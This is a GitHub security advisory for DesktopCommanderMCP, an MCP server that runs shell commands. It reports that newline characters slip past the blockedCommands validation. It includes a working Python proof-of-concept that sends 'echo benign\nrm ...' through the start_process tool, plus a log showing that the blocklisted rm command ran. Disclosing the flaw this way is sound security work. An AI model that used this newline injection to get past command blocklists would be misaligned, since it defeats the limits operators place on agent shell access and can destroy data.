Skip to content

[Security] Command Injection via Blocklist Bypass using Newline Character #422

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Command Injection via Blocklist Bypass using Newline Character

Description:

Summary

The command parsing logic in DesktopCommanderMCP fails to account for newline (\n) characters as command separators. This flaw allows an attacker to bypass the blockedCommands validation by prepending a benign command and a newline character to a blocked command. Consequently, users with access to the MCP server can execute any arbitrarily blocked command on the host system.

Details

The CommandManager.validateCommand() function restricts execution of certain sensitive commands defined in the blockedCommands configuration. It does this by extracting individual commands from the input string using the extractCommands method, which utilizes a hardcoded array of separators ([';', '&&', '||', '|', '&']).

Crucially, the newline character (\n) is absent from this separators array. When an attacker provides a multi-line payload such as "echo benign\nrm -rf /tmp/target", the extractCommands() function processes the entire string as a single command segment.

Subsequently, extractBaseCommand() uses .split(/\s+/) on this segment. Since \s+ targets newlines and spaces, it isolates the first token (echo). The blocklist validation logic then checks only this first benign token echo and approves the execution.
When passed down to terminalManager.executeCommand to spawn a shell (e.g. /bin/bash), the shell properly interprets \n as a command separator, meaning it evaluates the first benign line and subsequently executes the blocklisted command (e.g., rm) without restriction.

PoC

Prerequisites

  • The target DesktopCommanderMCP server must be built and running.
  • The blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The command rm is blocked by default but can be verified manually.

Reproduction Steps

  1. Save the following code as poc_exploit.py:
#!/usr/bin/env python3
import sys, json, subprocess, time, os, shutil

config_dir = os.path.expanduser("~/.claude-server-commander")
config_path = os.path.join(config_dir, "config.json")
mcp_root = "/root/llm-project-ts/DesktopCommanderMCP"
proof_file = "/tmp/newline_bypass_proof"
blocked_cmd = "rm"

def setup():
    if os.path.exists(proof_file):
        os.remove(proof_file)
    with open(proof_file, "w") as f:
        f.write("CANARY")
    if os.path.exists(config_path):
        shutil.copy(config_path, config_path + ".bak")
    os.makedirs(config_dir, exist_ok=True)
    with open(config_path, "w") as f:
        json.dump({"blockedCommands": [blocked_cmd]}, f)

def teardown():
    if os.path.exists(config_path + ".bak"):
        shutil.move(config_path + ".bak", config_path)

def send_request(proc, req_id, method, params):
    req = {"jsonrpc": "2.0", "id": req_id, "method": method, "params": params}
    proc.stdin.write((json.dumps(req) + "\n").encode())
    proc.stdin.flush()

def read_response(proc, req_id):
    start = time.time()
    while time.time() - start < 5:
        line = proc.stdout.readline()
        if not line:
            return None
        sys.stderr.write("DEBUG: " + line.decode())
        try:
            resp = json.loads(line.decode().strip())
            if "id" in resp and resp["id"] == req_id:
                return resp
        except:
            pass
    return None

def run_exploit():
    proc = subprocess.Popen(
        ["node", "dist/index.js", "--no-onboarding"],
        stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
        cwd=mcp_root
    )

    send_request(proc, 1, "initialize", {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "poc", "version": "1.0"}
    })
    read_response(proc, 1)
    proc.stdin.write((json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}) + "\n").encode())
    proc.stdin.flush()
    time.sleep(1)

    # Newline bypass: extractCommands sees "echo benign\nrm /tmp/newline_bypass_proof"
    # as single command, extractBaseCommand splits on \s+ and only checks "echo"
    # Shell executes both: echo + rm
    payload = f"echo benign\nrm {proof_file}"

    send_request(proc, 2, "tools/call", {
        "name": "start_process",
        "arguments": {"command": payload, "timeout_ms": 5000}
    })
    resp = read_response(proc, 2)
    proc.stdin.close()
    proc.terminate()
    return resp

if __name__ == "__main__":
    setup()
    print(f"[*] Proof file created: {os.path.exists(proof_file)}")
    print(f"[*] Blocklist: [{blocked_cmd}]")
    print(f"[*] Sending payload with newline to bypass blocklist validation...")

    resp = run_exploit()
    time.sleep(2)

    if not os.path.exists(proof_file):
        print(f"[SUCCESS] Proof file DELETED! 'rm' executed despite being blocklisted.")
        print(f"  The newline bypass (echo benign\\nrm ...) worked.")
    else:
        print(f"[FAILED] Proof file still exists. Exploit did not work.")
        print(f"  Response: {resp}")

    teardown()
  1. Run npm run build in DesktopCommanderMCP if necessary.
  2. Execute python3 poc_exploit.py.

Log of Evidence

[*] Proof file created: True
[*] Blocklist: [rm]
[*] Sending payload with newline to bypass blocklist validation...
DEBUG: Content-Length: 172
DEBUG: 
DEBUG: {"protocolVersion":"2024-11-05","capabilities":{"logging":{},"prompts":{"listChanged":true},"resources":{"subscribe":true,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"DesktopCommander","version":"1.0.0"}}
DEBUG: Content-Length: 147
DEBUG: 
DEBUG: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"Started process 571239"}],"isError":false}}
[SUCCESS] Proof file DELETED! 'rm' executed despite being blocklisted.
  The newline bypass (echo benign\nrm ...) worked.

Impact

This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.

Affected products

  • Ecosystem: npm
  • Package name: DesktopCommanderMCP
  • Affected versions: <= 0.2.38
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Occurrences

Permalink Description
src/command-manager.ts The extractCommands logic does not include the \n line separator character, causing it to misunderstand the boundaries of commands that it needs to validate against the blockedCommands list.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions